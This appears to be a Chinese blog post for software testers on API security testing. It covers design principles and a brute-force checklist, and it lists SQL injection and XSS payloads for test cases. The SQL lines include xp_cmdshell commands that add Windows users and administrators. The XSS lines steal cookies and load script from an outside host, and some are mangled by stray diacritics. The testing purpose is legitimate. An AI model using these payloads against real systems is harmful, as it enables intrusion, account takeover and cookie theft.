超详细基于接口的安全测试讲解

接口测试安全场景

相信大家都曾经为黄牛票而愤愤不平吧,但你只能忍气吞声,毕竟懂技术的流氓更可怕,像携程加速、飞猪加速也用过吧,这种流氓更让人无可奈何。

其实了解了接口测试,就不再去“神话“他们“黄牛逼”。

无非就是在一定的授权范围内,不断的批量去请求12306的购票端口,借助自身更大的带宽和算力去pk我们普通用户而已,在12306出了候补后,基本就没啥用了。

安全测试说白了就是攻与防的问题,知己知彼才能百战百胜。

接口安全设计的原则

现在前后段分离式设计,web系统、APP的接口都采用restful架构,restful最重要的一个设计原则就是客户端与服务端的交互在请求之间是无状态的,并采用token的认证方式,以便在多端设备进行鉴权。

1、尽量使用更安全的https协议报文

2、接口参数采用非对称加密算法进行签名

3、接口参数需要校验,如表单提交使用验证码进行校验

4、多次失败后需要有锁定机制,防止爆破

5、接口对应用户权限,用户只能调用有权限的接口

6、系统接口做过负荷机制用来保护系统安全

7、接口尽量少返回服务错误信息给用户

接口安全测试

1、sql注入

Sql注入可以算是最常见的一种攻击手段了,作为测试人员,一定要熟悉各种sql注入的手段,在测试过程中就封堵这个风险,当然现在的很多开发框架也具备了防范sql注入的能力。

测试中,我们需要设置如下的注入案例:

admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a[/code]

'and  (   )   exec   insert   *   %   chr   mid

and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49);%20AND%201=2

'and 1=1    ;  'And  1=1   ;   'aNd   1=1   ;

and 1=2    ;   'and 1=2

and 2=2

and user>0

and (select count(*) from sysobjects)>0

and (select count(*) from msysobjects)>0

and (Select Count(*) from Admin)>=0

and (select top 1 len(username) from Admin)>0(username 已知字段)

;exec master..xp_cmdshell "net user name password /add"--

;exec master..xp_cmdshell "net localgroup name administrators /add"--

and 0<>(select count(*) from admin)

2、xss攻击

利用XSS的攻击者进行攻击时会向页面插入恶意Script代码,当用户浏览该页面时,嵌入在页面里的Script代码会被执行,从而达到攻击用户的目的。同样会造成用户的认证信息被获取,仿冒用户登录,造成用户信息泄露等危害。

测试中,我们需要设置如下的xss攻击案例:

><scrīpt>alert(document.cookie)</scrīpt>

='><scrīpt>alert(document.cookie)</scrīpt>

<scrīpt>alert(document.cookie)</scrīpt>

<scrīpt>alert(helloworld)</scrīpt>

%3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E

<scrīpt>alert('XSS')</scrīpt>

<img src="javascrīpt:alert('XSS')">

<scrīpt>alert('linda is ok');</scrīpt>

<scrīpt>alert('Vulnerable')</scrīpt>

?sql_debug=1

a%5c.aspx

a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>

a/

a?<scrīpt>alert('Vulnerable')</scrīpt>

"><scrīpt>alert('Vulnerable')</scrīpt>

';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&

%22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E

%3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&

%3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=

1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=

<IMG SRC="jav ascrīpt:alert('XSS');">

<IMG SRC="jav ascrīpt:alert('XSS');">

<IMG SRC="jav ascrīpt:alert('XSS');">

"<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out

<IMG SRC=" javascrīpt:alert('XSS');">

<scrīpt>a=/XSS/alert(a.source)</scrīpt>

<BODY BACKGROUND="javascrīpt:alert('XSS')">

<BODY ōNLOAD=alert('XSS')>

<IMG DYNSRC="javascrīpt:alert('XSS')">

<IMG LOWSRC="javascrīpt:alert('XSS')">

<BGSOUND SRC="javascrīpt:alert('XSS');">

<br size="&{alert('XSS')}">

<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>

<LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">

<IMG SRC='vbscrīpt:msgbox("XSS")'>

<IMG SRC="mocha:[code]">

<IMG SRC="livescrīpt:[code]">

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">

SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

<scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

3、用户账号及暴力攻击

用户账号信息是访问系统获取服务的最关键的一环,如果泄露了信息就没有任何安全可言,通过利用账户登录接口大量猜测和穷举的方式来尝试获取用户口令。就是猜口令咯,攻击者一直枚举进行请求,通过对比数据包的长度可以很好的判断是否爆破成功,因为爆破成功和失败的长度是不一样的,所以可以很好的判断是否爆破成功。

作为测试人员,需要对账户信息进行如下测试:

检测接口程序连接登录时,是否需要输入相应的用户是否设置密码最小长度

用户名和密码中是否可以有空格或回车?是否允许密码和用户名一致防恶意注册:可否用自动填表工具自动注册用户?

遗忘密码处理是否有校验码?密码错误次数有无限制?大小写敏感?口令不允许以明码显示在输出设备上强制修改的时间间隔限制(初始默认密码)口令的唯一性限制(看需求是否需要)口令过期失效后,是否可以不登陆而直接浏览某个页面

最后也为大家准备了一份学习资源:
超详细基于接口的安全测试讲解

这份资源整体是围绕着【软件测试】来进行整理的,对于软件测试的的朋友来说应该是很全面和完整的备战仓库了,这个仓库也陪伴我走过了很多坎坷的路,希望也能帮助到你。关注公众号:程序员二黑,可以免费获取了!

你想要的越多,你付出的也越多。

我是二黑,如果你不想再体验一次自学时找不到资料,没人解答问题,坚持几天便放弃的感受的话,可以加入我们的软件测试技术交流群:785128166,里面有各种软件测试资源和技术交流。

精彩推荐:

在职阿里6年,一个29岁女软件测试工程师的心声

上一篇:vs离线安装包下载、制作


下一篇:VS指定多个dll库目录